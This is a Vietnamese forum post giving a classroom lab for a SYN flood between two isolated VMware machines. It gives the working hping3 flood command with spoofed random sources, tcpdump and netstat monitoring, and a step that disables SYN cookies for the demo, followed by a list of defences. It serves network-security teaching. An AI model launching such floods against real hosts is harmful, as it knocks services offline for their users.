Xin chào ! Nếu đây là lần đầu tiên bạn đến với diễn đàn, xin vui lòng danh ra một phút bấm vào đây để đăng kí và tham gia thảo luận cùng VnPro.
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Lab SYN Flood - VMware (Kali vs Ubuntu 24.04)


    Môi trường:
    • Kali Linux (tấn công): 192.168.50.137
    • Ubuntu 24.04 (nạn nhân): 192.168.50.136
    • Cả 2 VM đặt mạng Host-Only trong VMware Settings

    SYN Flood là gì?
    Click image for larger version

Name:	image.png
Views:	15
Size:	31.1 KB
ID:	439084

    Trước khi vào lab, cần hiểu TCP hoạt động thế nào. Mỗi kết nối TCP bình thường cần 3 bước gọi là Three-Way Handshake:
    1. Client gửi SYN — "Tôi muốn kết nối"
    2. Server trả SYN-ACK — "OK, tôi sẵn sàng"
    3. Client gửi ACK — "Được, bắt đầu thôi"

    Trong tấn công SYN Flood, kẻ tấn công gửi hàng nghìn gói SYN mỗi giây với IP nguồn giả mạo (random). Server nhận SYN, gửi SYN-ACK về IP giả đó, rồi chờ ACK — nhưng ACK không bao giờ đến vì IP đó không có thật. Server phải giữ mỗi kết nối "nửa mở" này trong bộ nhớ cho đến khi timeout. Hàng nghìn kết nối nửa mở như vậy lấp đầy bảng kết nối, khiến server không thể tiếp nhận người dùng thật nữa — server tê liệt.

    Vấn đề không phải CPU bị quá tải mà là bảng kết nối (có giới hạn cố định) bị cạn kiệt hoàn toàn.
    Bước 1 — Chuẩn bị Ubuntu (máy nạn nhân)


    Mở terminal trên Ubuntu, cài công cụ cần thiết:
    sudo apt update && sudo apt install tcpdump net-tools -y


    Nhập password osboxes.org khi được hỏi. Đợi cài xong khoảng 1-2 phút.

    Kiểm tra cài thành công chưa:
    tcpdump --version
    netstat --version


    Nếu thấy thông tin phiên bản hiện ra là ổn. Nếu thấy "command not found" thì chạy lại lệnh apt install.

    Tiếp theo, tìm tên interface mạng của Ubuntu:
    ip link show


    Bạn sẽ thấy danh sách interface. Trong VMware thường có tên là ens33 (khác với WSL là eth0). Ghi lại tên này vì sẽ dùng trong lệnh tcpdump.
    Bước 2 — Kiểm tra Kali (máy tấn công)


    Mở terminal trên Kali, kiểm tra hping3 có sẵn chưa (Kali cài sẵn rồi):
    hping3 --version


    Nếu thấy thông tin phiên bản là ổn. Nếu không có thì cài:
    sudo apt update && sudo apt install hping3 -y


    Ping thử sang Ubuntu để chắc chắn hai máy liên lạc được với nhau:
    ping -c 4 192.168.50.136


    Phải thấy 4 dòng reply như vầy mới tiếp tục:
    64 bytes from 192.168.50.136: icmp_seq=1 ttl=64 time=0.52 ms
    64 bytes from 192.168.50.136: icmp_seq=2 ttl=64 time=0.48 ms
    64 bytes from 192.168.50.136: icmp_seq=3 ttl=64 time=0.51 ms
    64 bytes from 192.168.50.136: icmp_seq=4 ttl=64 time=0.49 ms


    Nếu ping thất bại, vào VMware Settings của cả 2 VM, kiểm tra Network Adapter đều đang để Host-only.
    Bước 3 — Bật Monitoring trên Ubuntu TRƯỚC khi tấn công


    Quan trọng: phải bật monitoring trước để thấy cuộc tấn công từ đầu.

    Terminal Ubuntu thứ nhất — bắt và hiển thị các gói SYN đến:
    sudo tcpdump -i ens33 'tcp[tcpflags] & tcp-syn != 0' -n


    Giải thích lệnh:
    • -i ens33 : lắng nghe trên interface ens33
    • tcp-syn != 0 : chỉ hiển thị packet có cờ SYN được bật
    • -n : không dịch IP sang hostname, giữ output gọn và nhanh

    Terminal sẽ có vẻ đứng yên không hiện gì — đây là bình thường, nó đang chờ traffic đến.

    Terminal Ubuntu thứ hai — mở thêm một cửa sổ terminal nữa và chạy:
    watch -n 1 'netstat -an | grep SYN_RECV | wc -l'


    Lệnh này đếm số kết nối đang ở trạng thái SYN_RECV (kết nối nửa mở, đang chờ ACK không bao giờ đến) và cập nhật mỗi giây. Trong lúc tấn công, con số này sẽ tăng lên nhanh chóng.
    Bước 4 — Phát động tấn công SYN Flood


    Chuyển sang terminal Kali, chạy lệnh:
    sudo hping3 -S --flood --rand-source -p 80 192.168.50.136


    Giải thích từng flag:
    • -S : đặt cờ SYN trên mỗi packet — đây là thứ tạo ra SYN flood
    • --flood : gửi packet nhanh nhất có thể, hàng nghìn gói mỗi giây, không nghỉ
    • --rand-source : ngẫu nhiên hóa IP nguồn trên mỗi packet. Đây là trick chính — mỗi gói SYN trông như đến từ một IP khác nhau trên thế giới, khiến server không thể chặn theo IP nguồn
    • -p 80 : nhắm vào cổng 80 (cổng web server)
    • 192.168.50.136 : IP của Ubuntu

    Sau khi nhấn Enter, terminal Kali sẽ có vẻ bị đứng im — hoàn toàn bình thường. hping3 đang bận gửi packet hết công suất và không có thời gian in output.

    Chuyển ngay sang Ubuntu để quan sát. Terminal tcpdump sẽ cuộn rất nhanh với hàng nghìn dòng như:
    14:22:01.000 IP 45.123.67.89.4321 > 192.168.50.136.80: Flags [S]
    14:22:01.000 IP 201.56.78.90.9876 > 192.168.50.136.80: Flags [S]
    14:22:01.000 IP 18.234.90.12.5544 > 192.168.50.136.80: Flags [S]
    14:22:01.000 IP 99.45.23.100.1122 > 192.168.50.136.80: Flags [S]


    Chú ý: mỗi dòng có IP nguồn hoàn toàn khác nhau và ngẫu nhiên, nhưng IP đích luôn là 192.168.50.136. Chữ Flags [S] xác nhận mỗi packet chỉ có cờ SYN — không có ACK, không có gì khác.

    Nhìn sang terminal thứ hai đang đếm SYN_RECV — con số sẽ tăng lên nhanh chóng, cho thấy bảng kết nối của Ubuntu đang bị lấp đầy bởi các kết nối nửa mở giả.
    Bước 5 — Dừng tấn công và quan sát phục hồi


    Trên terminal Kali nhấn Ctrl + C. hping3 sẽ dừng ngay và in tóm tắt:
    --- 192.168.50.136 hping statistic ---
    842301 packets transmitted, 0 packets received, 100% packet loss


    Con số packets transmitted lớn cho thấy flood đã hiệu quả thế nào. Số 0 packets received là bình thường vì IP nguồn là giả, không ai reply về cho Kali cả.

    Nhấn Ctrl + C trong terminal tcpdump của Ubuntu để dừng monitoring.

    Bây giờ nhìn vào terminal đang đếm SYN_RECV — con số sẽ không về 0 ngay. Linux phải đợi từng kết nối giả timeout mới xóa khỏi bảng, thường mất 60 đến 120 giây. Đây là điểm quan trọng cần trình bày: tác hại của SYN flood tiếp tục ngay cả sau khi tấn công đã dừng hoàn toàn, vì server vẫn đang bị chiếm dụng bởi hàng nghìn kết nối ma chờ timeout.
    Biện pháp phòng thủ
    • SYN Cookies: Server không lưu kết nối nửa mở vào bảng. Thay vào đó mã hóa thông tin vào sequence number, chỉ tạo entry thật khi nhận được ACK hợp lệ. Đây là biện pháp hiệu quả nhất và được bật mặc định trên Linux hiện đại.
    • Rate Limiting: Firewall chặn IP gửi quá nhiều SYN mỗi giây. Hạn chế: không hiệu quả khi dùng --rand-source vì mỗi gói có IP khác nhau.
    • Tăng kích thước hàng đợi: Tăng số lượng kết nối nửa mở tối đa mà server chấp nhận. Hạn chế: chỉ trì hoãn vấn đề, flood đủ mạnh vẫn lấp đầy.
    • Dịch vụ bảo vệ DDoS: Cloudflare và các dịch vụ tương tự hấp thụ flood trước khi traffic đến server thật.

    Xử lý sự cố
    tcpdump không hiện gì trong lúc tấn công Sai tên interface — chạy ip link show trên Ubuntu để tìm tên đúng thay cho ens33
    Ping từ Kali sang Ubuntu thất bại Vào VMware Settings, kiểm tra cả 2 VM đều đang dùng Host-only
    hping3 không tìm thấy trên Kali Chạy: sudo apt install hping3 -y
    SYN_RECV luôn bằng 0 Có thể SYN Cookies đang bật — xem ghi chú bên dưới
    Ghi chú về SYN Cookies: Nếu số SYN_RECV không tăng dù tcpdump đang thấy flood, có nghĩa là Ubuntu đang dùng SYN Cookies (một biện pháp phòng thủ tự động). Để tắt tạm thời cho mục đích demo:
    sudo sysctl -w net.ipv4.tcp_syncookies=0


    Sau khi demo xong, bật lại:
    sudo sysctl -w net.ipv4.tcp_syncookies=1

    Chỉ dùng cho mục đích học tập. Tấn công vào hệ thống không thuộc quyền sở hữu của bạn là vi phạm pháp luật.
Working...
X